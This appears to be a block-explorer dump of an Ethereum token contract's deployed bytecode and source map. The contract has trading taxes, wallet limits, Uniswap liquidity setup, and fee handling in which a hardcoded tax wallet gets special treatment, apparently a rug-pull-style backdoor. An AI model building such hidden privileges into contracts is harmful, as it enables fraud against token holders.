f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105635760405162461bcd60e51b815260040161036f9061175b565b61056f6009600a611884565b61057d906305f5e100611892565b600c5561058c6009600a611884565b61059a906305f5e100611892565b600d557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105ca6009600a611884565b6105d8906305f5e100611892565b60405190815260200160405180910390a1565b5f6103cf338484610997565b5f546001600160a01b031633146106205760405162461bcd60e51b815260040161036f9061175b565b600e5460ff16156106735760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161036f565b600e805462ff00001916620100001790556106c3307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6106b56009600a611884565b61046d906305f5e100611892565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663f305d7194730610712306001600160a01b03165f9081526001602052604090205490565b5f806107255f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561078b573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107b091906118a9565b505060405163095ea7b360e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d811660048301525f1960248301527f0000000000000000000000006f5e02747af3cec5e964bed6f9cb8bb10a3a147c16915063095ea7b3906044016020604051808303815f875af115801561083f573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061086391906118d4565b50600e805460ff19166001179055565b6001600160a01b0383166108d55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161036f565b6001600160a01b0382166109365760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161036f565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166109fb5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161036f565b6001600160a01b038216610a5d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161036f565b5f8111610abe5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161036f565b600e5462010000900460ff161580610add5750600e54610100900460ff165b15610af257610aed8383836110b4565b505050565b5f80546001600160a01b03858116911614801590610b1d57505f546001600160a01b03848116911614155b8015610b4657506001600160a01b03831673a8922b80c57c8e8f066235c7d922cf3bf2cbf9af14155b15610e5257610b776064610b71600854600b5411610b6657600454610b6a565b6006545b8590611157565b906111dc565b90507f0000000000000000000000006f5e02747af3cec5e964bed6f9cb8bb10a3a147c6001600160a01b0316846001600160a01b0316148015610bec57507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b0316836001600160a01b031614155b8015610c1057506001600160a01b0383165f9081526003602052604090205460ff16155b15610cf657600c54821115610c675760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161036f565b600d5482610c89856001600160a01b03165f9081526001602052604090205490565b610c9391906118f3565b1115610ce15760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161036f565b600b8054905f610cf083611906565b91905055505b7f0000000000000000000000006f5e02747af3cec5e964bed6f9cb8bb10a3a147c6001600160a01b0316836001600160a01b0316148015610d4057506001600160a01b0384163014155b15610d6d57610d6a6064610b71600954600b5411610d6057600554610b6a565b6007548590611157565b90505b305f90815260016020526040902054600e54610100900460ff16158015610dc557507f0000000000000000000000006f5e02747af3cec5e964bed6f9cb8bb10a3a147c6001600160a01b0316846001600160a01b0316145b8015610dd95750600e5462010000900460ff165b8015610dfc5750610dec6009600a611884565b610df990620f4240611892565b81115b8015610e0b5750600a54600b54115b15610e5057610e3e610e3984610e3484610e276009600a611884565b610e3490620f4240611892565b61121d565b610ea6565b478015610e4e57610e4e47611076565b505b505b610e5c8484611231565b610e68848484846113db565b50505050565b5f8184841115610e915760405162461bcd60e51b815260040161036f919061163e565b505f610e9d848661191e565b95945050505050565b600e805461ff0019166101001790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610ee857610ee8611931565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f64573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f889190611945565b81600181518110610f9b57610f9b611931565b60200260200101906001600160a01b031690816001600160a01b031681525050610fe6307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84610873565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac9479061103a9085905f90869030904290600401611960565b5f604051808303815f87803b158015611051575f80fd5b505af1158015611063573d5f803e3d5ffd5b5050600e805461ff001916905550505050565b60405173a8922b80c57c8e8f066235c7d922cf3bf2cbf9af9082156108fc029083905f818181858888f193505050501580156103bf573d5f803e3d5ffd5b6001600160a01b0383165f908152600160205260409020546110d69082611405565b6001600160a01b038085165f9081526001602052604080822093909355908416815220546111049082611446565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061098a9085815260200190565b5f825f0361116657505f6103d3565b5f6111718385611892565b90508261117e85836119d1565b146111d55760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161036f565b9392505050565b5f6111d583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114a4565b5f81831161122b57826111d5565b50919050565b6001600160a01b0382165f9081526003602052604090205460ff168061126e57506001600160a01b0381165f9081526003602052604090205460ff165b801561128357506001600160a01b0382163014155b801561129857506001600160a01b0381163014155b156112a257436011555b6001600160a01b0382165f9081526003602052604090205460ff161580156112e257506001600160a01b0381165f9081526003602052604090205460ff16155b156103bf57806001600160a01b03167f0000000000000000000000006f5e02747af3cec5e964bed6f9cb8bb10a3a147c6001600160a01b0316146113a6576001600160a01b038082165f908152601060205260409020908381167f0000000000000000000000006f5e02747af3cec5e964bed6f9cb8bb10a3a147c909116036113745780545f03610aed574390555050565b6001600160a01b0383165f90815260106020526040902081548154108061139a57508154155b15610e68575490555050565b6001600160a01b0382165f90815260106020526040902060115481546113cb91611405565b6001820155426002909101555050565b5f6113e78583856114d0565b90506113fe8585836113f98787611405565b61158d565b5050505050565b5f6111d583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e6e565b5f8061145283856118f3565b9050838110156111d55760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161036f565b5f81836114c45760405162461bcd60e51b815260040161036f919061163e565b505f610e9d84866119d1565b5f8073a8922b80c57c8e8f066235c7d922cf3bf2cbf9ae196001600160a01b0386160161150957600f546115049084611157565b61150b565b825b9050831561158557305f9081526001602052604090205461152c9085611446565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061157c9088815260200190565b60405180910390a35b949350505050565b6001600160a01b0384165f908152600160205260409020546115af9083611405565b6001600160a01b038086165f9081526001602052604080822093909355908516815220546115dd9082611446565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906116309085815260200190565b60405180910390a350505050565b5f602080835283518060208501525f5b8181101561166a5785810183015185820160400152820161164e565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461169e575f80fd5b50565b5f80604083850312156116b2575f80fd5b82356116bd8161168a565b946020939093013593505050565b5f805f606084860312156116dd575f80fd5b83356116e88161168a565b925060208401356116f88161168a565b929592945050506040919091013590565b5f60208284031215611719575f80fd5b81356111d58161168a565b5f8060408385031215611735575f80fd5b82356117408161168a565b915060208301356117508161168a565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156117de57815f19048211156117c4576117c4611790565b808516156117d157918102915b93841c93908002906117a9565b509250929050565b5f826117f4575060016103d3565b8161180057505f6103d3565b816001811461181657600281146118205761183c565b60019150506103d3565b60ff84111561183157611831611790565b50506001821b6103d3565b5060208310610133831016604e8410600b841016171561185f575081810a6103d3565b61186983836117a4565b805f190482111561187c5761187c611790565b029392505050565b5f6111d560ff8416836117e6565b80820281158282048414176103d3576103d3611790565b5f805f606084860312156118bb575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156118e4575f80fd5b815180151581146111d5575f80fd5b808201808211156103d3576103d3611790565b5f6001820161191757611917611790565b5060010190565b818103818111156103d3576103d3611790565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611955575f80fd5b81516111d58161168a565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119b05784516001600160a01b03168352938301939183019160010161198b565b50506001600160a01b03969096166060850152505050608001529392505050565b5f826119eb57634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122047cac0e6a0299ef945060dd2c3ca499c7031a65a0954888bab307a3652cca1b164736f6c63430008170033
Deployed Bytecode Sourcemap
3467:10427:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12869:158;;;;;;;;;;;;;:::i;:::-;;5660:83;;;;;;;;;;-1:-1:-1;5730:5:0;;;;;;;;;;;-1:-1:-1;;;5730:5:0;;;;5660:83;;;;5730:5;5660:83;:::i;:::-;;;;;;;;6493:161;;;;;;;;;;-1:-1:-1;6493:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6493:161:0;1023:187:1;4456:61:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;4456:61:0;1215:177:1;5937:95:0;;;;;;;;;;;;;:::i;6921:313::-;;;;;;;;;;-1:-1:-1;6921:313:0;;;;;:::i;:::-;;:::i;5846:83::-;;;;;;;;;;-1:-1:-1;5846:83:0;;4199:1;2000:36:1;;1988:2;1973:18;5846:83:0;1858:184:1;13502:352:0;;;;;;;;;;;;;:::i;6040:119::-;;;;;;;;;;-1:-1:-1;6040:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6133:18:0;6106:7;6133:18;;;:9;:18;;;;;;;6040:119;2550:148;;;;;;;;;;;;;:::i;12600:161::-;;;;;;;;;;;;;:::i;4526:53::-;;;;;;;;;;;;;;;;2340:79;;;;;;;;;;-1:-1:-1;2378:7:0;2405:6;2340:79;;-1:-1:-1;;;;;2405:6:0;;;2445:51:1;;2433:2;2418:18;2340:79:0;2299:203:1;4586:55:0;;;;;;;;;;;;;;;;6167:167;;;;;;;;;;-1:-1:-1;6167:167:0;;;;;:::i;:::-;;:::i;13035:459::-;;;;;;;;;;;;;:::i;6342:143::-;;;;;;;;;;-1:-1:-1;6342:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6450:18:0;;;6423:7;6450:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6342:143;12869:158;2465:6;;-1:-1:-1;;;;;2465:6:0;175:10;2465:22;2457:67;;;;-1:-1:-1;;;2457:67:0;;;;;;;:::i;:::-;;;;;;;;;12945:21:::1;12985:7;2378::::0;2405:6;-1:-1:-1;;;;;2405:6:0;;2340:79;12985:7:::1;-1:-1:-1::0;;;;;12977:25:0::1;:42;13003:15;12977:42;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;12908:119;12869:158::o:0;6493:161::-;6568:4;6585:39;175:10;6608:7;6617:6;6585:8;:39::i;:::-;-1:-1:-1;6642:4:0;6493:161;;;;;:::o;4456:61::-;4504:13;4199:1;4504:2;:13;:::i;:::-;4494:23;;:7;:23;:::i;:::-;4456:61;:::o;5937:95::-;5990:7;4254:13;4199:1;4254:2;:13;:::i;:::-;4242:25;;:9;:25;:::i;:::-;6010:14;;5937:95;:::o;6921:313::-;7019:4;7036:36;7046:6;7054:9;7065:6;7036:9;:36::i;:::-;7083:121;7092:6;175:10;7114:89;7152:6;7114:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7114:19:0;;;;;;:11;:19;;;;;;;;175:10;7114:33;;;;;;;;;;:37;:89::i;:::-;7083:8;:121::i;:::-;-1:-1:-1;7222:4:0;6921:313;;;;;:::o;13502:352::-;175:10;4112:42;13552:24;13544:33;;;;;;13629:4;13588:20;6133:18;;;:9;:18;;;;;;13649:14;;13646:73;;13677:30;13694:12;13677:16;:30::i;:::-;13750:21;13785:12;;13782:65;;13811:24;13824:10;13811:12;:24::i;2550:148::-;2465:6;;-1:-1:-1;;;;;2465:6:0;175:10;2465:22;2457:67;;;;-1:-1:-1;;;2457:67:0;;;;;;;:::i;:::-;2657:1:::1;2641:6:::0;;2620:40:::1;::::0;-1:-1:-1;;;;;2641:6:0;;::::1;::::0;2620:40:::1;::::0;2657:1;;2620:40:::1;2688:1;2671:19:::0;;-1:-1:-1;;;;;;2671:19:0::1;::::0;;2550:148::o;12600:161::-;2465:6;;-1:-1:-1;;;;;2465:6:0;175:10;2465:22;2457:67;;;;-1:-1:-1;;;2457:67:0;;;;;;;:::i;:::-;4254:13:::1;4199:1;4254:2;:13;:::i;:::-;4242:25;::::0;:9:::1;:25;:::i;:::-;12656:12;:21:::0;4254:13:::1;4199:1;4254:2;:13;:::i;:::-;4242:25;::::0;:9:::1;:25;:::i;:::-;12688:14;:22:::0;12726:27:::1;4254:13;4199:1;4254:2;:13;:::i;:::-;4242:25;::::0;:9:::1;:25;:::i;:::-;12726:27;::::0;1361:25:1;;;1349:2;1334:18;12726:27:0::1;;;;;;;12600:161::o:0;6167:167::-;6245:4;6262:42;175:10;6286:9;6297:6;6262:9;:42::i;13035:459::-;2465:6;;-1:-1:-1;;;;;2465:6:0;175:10;2465:22;2457:67;;;;-1:-1:-1;;;2457:67:0;;;;;;;:::i;:::-;13099:11:::1;::::0;::::1;;13098:12;13090:47;;;::::0;-1:-1:-1;;;13090:47:0;;5145:2:1;13090:47:0::1;::::0;::::1;5127:21:1::0;5184:2;5164:18;;;5157:30;5223:25;5203:18;;;5196:53;5266:18;;13090:47:0::1;4943:347:1::0;13090:47:0::1;13148:11;:18:::0;;-1:-1:-1;;13148:18:0::1;::::0;::::1;::::0;;13177:58:::1;13194:4;13209:15;4254:13;4199:1;4254:2;:13;:::i;:::-;4242:25;::::0;:9:::1;:25;:::i;13177:58::-;13246:15;-1:-1:-1::0;;;;;13246:31:0::1;;13285:21;13316:4;13322:24;13340:4;-1:-1:-1::0;;;;;6133:18:0;6106:7;6133:18;;;:9;:18;;;;;;;6040:119;13322:24:::1;13347:1;13349::::0;13351:7:::1;2378::::0;2405:6;-1:-1:-1;;;;;2405:6:0;;2340:79;13351:7:::1;13246:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;13246:129:0;;;-1:-1:-1;;;;;5654:15:1;;;13246:129:0::1;::::0;::::1;5636:34:1::0;5686:18;;;5679:34;;;;5729:18;;;5722:34;;;;5772:18;;;5765:34;5836:15;;;5815:19;;;5808:44;13359:15:0::1;5868:19:1::0;;;5861:35;5570:19;;13246:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;13386:71:0::1;::::0;-1:-1:-1;;;13386:71:0;;-1:-1:-1;;;;;13424:15:0::1;6410:32:1::0;;13386:71:0::1;::::0;::::1;6392:51:1::0;-1:-1:-1;;6459:18:1;;;6452:34;13393:13:0::1;13386:29;::::0;-1:-1:-1;13386:29:0::1;::::0;6365:18:1;;13386:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;13468:11:0::1;:18:::0;;-1:-1:-1;;13468:18:0::1;13482:4;13468:18;::::0;;13035:459::o;7242:335::-;-1:-1:-1;;;;;7335:19:0;;7327:68;;;;-1:-1:-1;;;7327:68:0;;6981:2:1;7327:68:0;;;6963:21:1;7020:2;7000:18;;;6993:30;7059:34;7039:18;;;7032:62;-1:-1:-1;;;7110:18:1;;;7103:34;7154:19;;7327:68:0;6779:400:1;7327:68:0;-1:-1:-1;;;;;7414:21:0;;7406:68;;;;-1:-1:-1;;;7406:68:0;;7386:2:1;7406:68:0;;;7368:21:1;7425:2;7405:18;;;7398:30;7464:34;7444:18;;;7437:62;-1:-1:-1;;;7515:18:1;;;7508:32;7557:19;;7406:68:0;7184:398:1;7406:68:0;-1:-1:-1;;;;;7485:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7537:32;;1361:25:1;;;7537:32:0;;1334:18:1;7537:32:0;;;;;;;;7242:335;;;:::o;7585:2110::-;-1:-1:-1;;;;;7678:18:0;;7670:68;;;;-1:-1:-1;;;7670:68:0;;7789:2:1;7670:68:0;;;7771:21:1;7828:2;7808:18;;;7801:30;7867:34;7847:18;;;7840:62;-1:-1:-1;;;7918:18:1;;;7911:35;7963:19;;7670:68:0;7587:401:1;7670:68:0;-1:-1:-1;;;;;7757:16:0;;7749:64;;;;-1:-1:-1;;;7749:64:0;;8195:2:1;7749:64:0;;;8177:21:1;8234:2;8214:18;;;8207:30;8273:34;8253:18;;;8246:62;-1:-1:-1;;;8324:18:1;;;8317:33;8367:19;;7749:64:0;7993:399:1;7749:64:0;7844:1;7832:11;:13;7824:67;;;;-1:-1:-1;;;7824:67:0;;8599:2:1;7824:67:0;;;8581:21:1;8638:2;8618:18;;;8611:30;8677:34;8657:18;;;8650:62;-1:-1:-1;;;8728:18:1;;;8721:39;8777:19;;7824:67:0;8397:405:1;7824:67:0;7910:11;;;;;;;7908:13;;:23;;-1:-1:-1;7925:6:0;;;;;;;7908:23;7904:115;;;7949:37;7964:4;7970:2;7974:11;7949:14;:37::i;:::-;7585:2110;;;:::o;7904:115::-;8031:17;2405:6;;-1:-1:-1;;;;;8065:15:0;;;2405:6;;8065:15;;;;:32;;-1:-1:-1;2378:7:0;2405:6;-1:-1:-1;;;;;8084:13:0;;;2405:6;;8084:13;;8065:32;:51;;;;-1:-1:-1;;;;;;8100:16:0;;4112:42;8100:16;;8065:51;8061:1535;;;8145:176;8317:3;8145:145;8222:15;;8210:9;;:27;8209:58;;8253:14;;8209:58;;;8239:12;;8209:58;8145:11;;:37;:145::i;:::-;:171;;:176::i;:::-;8133:188;;8350:13;-1:-1:-1;;;;;8342:21:0;:4;-1:-1:-1;;;;;8342:21:0;;:55;;;;;8381:15;-1:-1:-1;;;;;8367:30:0;:2;-1:-1:-1;;;;;8367:30:0;;;8342:55;:84;;;;-1:-1:-1;;;;;;8404:22:0;;;;;;:18;:22;;;;;;;;8402:24;8342:84;8338:383;;;8470:12;;8455:11;:27;;8447:65;;;;-1:-1:-1;;;8447:65:0;;9009:2:1;8447:65:0;;;8991:21:1;9048:2;9028:18;;;9021:30;9087:27;9067:18;;;9060:55;9132:18;;8447:65:0;8807:349:1;8447:65:0;8591:14;;8577:11;8561:13;8571:2;-1:-1:-1;;;;;6133:18:0;6106:7;6133:18;;;:9;:18;;;;;;;6040:119;8561:13;:27;;;;:::i;:::-;:44;;8531:144;;;;-1:-1:-1;;;8531:144:0;;9493:2:1;8531:144:0;;;9475:21:1;9532:2;9512:18;;;9505:30;9571:28;9551:18;;;9544:56;9617:18;;8531:144:0;9291:350:1;8531:144:0;8694:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8338:383;8744:13;-1:-1:-1;;;;;8740:17:0;:2;-1:-1:-1;;;;;8740:17:0;;:41;;;;-1:-1:-1;;;;;;8761:20:0;;8776:4;8761:20;;8740:41;8737:286;;;8814:193;9003:3;8814:158;8897:16;;8887:9;;:26;8886:59;;8930:15;;8886:59;;;8915:13;;8814:11;;:41;:158::i;:193::-;8802:205;;8737:286;9088:4;9039:28;6133:18;;;:9;:18;;;;;;9114:6;;;;;;;9113:7;:29;;;;;9129:13;-1:-1:-1;;;;;9123:19:0;:2;-1:-1:-1;;;;;9123:19:0;;9113:29;:44;;;;-1:-1:-1;9146:11:0;;;;;;;9113:44;:105;;;;-1:-1:-1;4436:13:0;4199:1;4436:2;:13;:::i;:::-;4426:23;;:7;:23;:::i;:::-;9178:20;:40;9113:105;:156;;;;;9251:18;;9239:9;;:30;9113:156;9109:476;;;9304:74;9321:56;9325:11;9338:38;9342:20;4504:13;4199:1;4504:2;:13;:::i;:::-;4494:23;;:7;:23;:::i;:::-;9338:3;:38::i;9321:56::-;9304:16;:74::i;:::-;9426:21;9470:20;;9466:104;;9515:35;9528:21;9515:12;:35::i;:::-;9285:300;9109:476;8118:1478;8061:1535;9608:21;9620:4;9626:2;9608:11;:21::i;:::-;9642:45;9657:4;9662:2;9665:11;9677:9;9642:14;:45::i;:::-;7659:2036;7585:2110;;;:::o;1228:190::-;1314:7;1350:12;1342:6;;;;1334:29;;;;-1:-1:-1;;;1334:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1374:9:0;1386:5;1390:1;1386;:5;:::i;:::-;1374:17;1228:190;-1:-1:-1;;;;;1228:190:0:o;12109:483::-;5151:6;:13;;-1:-1:-1;;5151:13:0;;;;;12211:16:::1;::::0;;12225:1:::1;12211:16:::0;;;;;::::1;::::0;;-1:-1:-1;;12211:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;12211:16:0::1;12187:40;;12256:4;12238;12243:1;12238:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1::0;;;;;12238:23:0::1;;;-1:-1:-1::0;;;;;12238:23:0::1;;;::::0;::::1;12282:15;-1:-1:-1::0;;;;;12282:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12272:4;12277:1;12272:7;;;;;;;;:::i;:::-;;;;;;:32;-1:-1:-1::0;;;;;12272:32:0::1;;;-1:-1:-1::0;;;;;12272:32:0::1;;;::::0;::::1;12315:62;12332:4;12347:15;12365:11;12315:8;:62::i;:::-;12388:196;::::0;-1:-1:-1;;;12388:196:0;;-1:-1:-1;;;;;12388:15:0::1;:66;::::0;::::1;::::0;:196:::1;::::0;12469:11;;12495:1:::1;::::0;12511:4;;12538::::1;::::0;12558:15:::1;::::0;12388:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5187:6:0;:14;;-1:-1:-1;;5187:14:0;;;-1:-1:-1;;;;12109:483:0:o;12769:92::-;12826:27;;4112:42;;12826:27;;;;;12846:6;;12826:27;;;;12846:6;4112:42;12826:27;;;;;;;;;;;;;;;;;;;6662:251;-1:-1:-1;;;;;6771:15:0;;;;;;:9;:15;;;;;;:32;;6791:11;6771:19;:32::i;:::-;-1:-1:-1;;;;;6753:15:0;;;;;;;:9;:15;;;;;;:50;;;;6830:13;;;;;;;:30;;6848:11;6830:17;:30::i;:::-;-1:-1:-1;;;;;6814:13:0;;;;;;;:9;:13;;;;;;;:46;;;;6876:29;;;;;;;;;;6893:11;1361:25:1;;1349:2;1334:18;;1215:177;1424:246:0;1482:7;1506:1;1511;1506:6;1502:47;;-1:-1:-1;1536:1:0;1529:8;;1502:47;1559:9;1571:5;1575:1;1571;:5;:::i;:::-;1559:17;-1:-1:-1;1604:1:0;1595:5;1599:1;1559:17;1595:5;:::i;:::-;:10;1587:56;;;;-1:-1:-1;;;1587:56:0;;11848:2:1;1587:56:0;;;11830:21:1;11887:2;11867:18;;;11860:30;11926:34;11906:18;;;11899:62;-1:-1:-1;;;11977:18:1;;;11970:31;12018:19;;1587:56:0;11646:397:1;1587:56:0;1661:1;1424:246;-1:-1:-1;;;1424:246:0:o;1676:132::-;1734:7;1761:39;1765:1;1768;1761:39;;;;;;;;;;;;;;;;;:3;:39::i;12001:100::-;12058:7;12087:1;12083;:5;12082:11;;12092:1;12082:11;;;-1:-1:-1;12090:1:0;12001:100;-1:-1:-1;12001:100:0:o;10820:1171::-;-1:-1:-1;;;;;10893:24:0;;;;;;:18;:24;;;;;;;;;:49;;-1:-1:-1;;;;;;10920:22:0;;;;;;:18;:22;;;;;;;;10893:49;10892:76;;;;-1:-1:-1;;;;;;10947:21:0;;10963:4;10947:21;;10892:76;:99;;;;-1:-1:-1;;;;;;10972:19:0;;10986:4;10972:19;;10892:99;10887:157;;;11020:12;11008:9;:24;10887:157;-1:-1:-1;;;;;11076:24:0;;;;;;:18;:24;;;;;;;;11074:26;:69;;;;-1:-1:-1;;;;;;11121:22:0;;;;;;:18;:22;;;;;;;;11120:23;11074:69;11056:928;;;11191:2;-1:-1:-1;;;;;11173:20:0;:13;-1:-1:-1;;;;;11173:20:0;;11169:804;;-1:-1:-1;;;;;11242:14:0;;;11214:25;11242:14;;;:10;:14;;;;;;11279:21;;;:13;:21;;;;11275:458;;11329:16;;;:21;11325:109;;11398:12;11379:31;;-1:-1:-1;;7585:2110:0:o;11275:458::-;-1:-1:-1;;;;;11514:16:0;;11482:29;11514:16;;;:10;:16;;;;;11580;;11557:20;;:39;;:64;;-1:-1:-1;11602:16:0;;:18;11557:64;11553:161;;;11670:20;11651:39;;-1:-1:-1;;12869:158:0:o;11169:804::-;-1:-1:-1;;;;;11805:16:0;;11773:29;11805:16;;;:10;:16;;;;;11889:9;;11864:20;;:35;;:24;:35::i;:::-;11840:21;;;:59;11942:15;11918:21;;;;:39;10820:1171;;:::o;9703:300::-;9856:15;9872:47;9890:4;9896:9;9907:11;9872:17;:47::i;:::-;9856:63;-1:-1:-1;9930:65:0;9950:4;9956:2;9856:63;9968:26;:11;9984:9;9968:15;:26::i;:::-;9930:19;:65::i;:::-;9845:158;9703:300;;;;:::o;1086:136::-;1144:7;1171:43;1175:1;1178;1171:43;;;;;;;;;;;;;;;;;:3;:43::i;901:179::-;959:7;;991:5;995:1;991;:5;:::i;:::-;979:17;;1020:1;1015;:6;;1007:46;;;;-1:-1:-1;;;1007:46:0;;12250:2:1;1007:46:0;;;12232:21:1;12289:2;12269:18;;;12262:30;12328:29;12308:18;;;12301:57;12375:18;;1007:46:0;12048:351:1;1814:205:0;1916:7;1951:12;1944:5;1936:28;;;;-1:-1:-1;;;1936:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1975:9:0;1987:5;1991:1;1987;:5;:::i;10397:415::-;10497:7;;-1:-1:-1;;;;;;;10535:19:0;;;:62;;10571:9;;:26;;10585:11;10571:13;:26::i;:::-;10535:62;;;10557:11;10535:62;10517:80;-1:-1:-1;10612:13:0;;10608:172;;10687:4;10669:24;;;;:9;:24;;;;;;:39;;10698:9;10669:28;:39::i;:::-;10660:4;10642:24;;;;:9;:24;;;;;;;:66;;;;10728:40;;-1:-1:-1;;;;;10728:40:0;;;;;;;10758:9;1361:25:1;;1349:2;1334:18;;1215:177;10728:40:0;;;;;;;;10608:172;10797:7;10397:415;-1:-1:-1;;;;10397:415:0:o;10011:378::-;-1:-1:-1;;;;;10190:15:0;;;;;;:9;:15;;;;;;:31;;10210:10;10190:19;:31::i;:::-;-1:-1:-1;;;;;10172:15:0;;;;;;;:9;:15;;;;;;:49;;;;10248:13;;;;;;;:32;;10266:13;10248:17;:32::i;:::-;-1:-1:-1;;;;;10232:13:0;;;;;;;:9;:13;;;;;;;:48;;;;10298:83;;;;;;;;;;10357:13;1361:25:1;;1349:2;1334:18;;1215:177;10298:83:0;;;;;;;;10011:378;;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134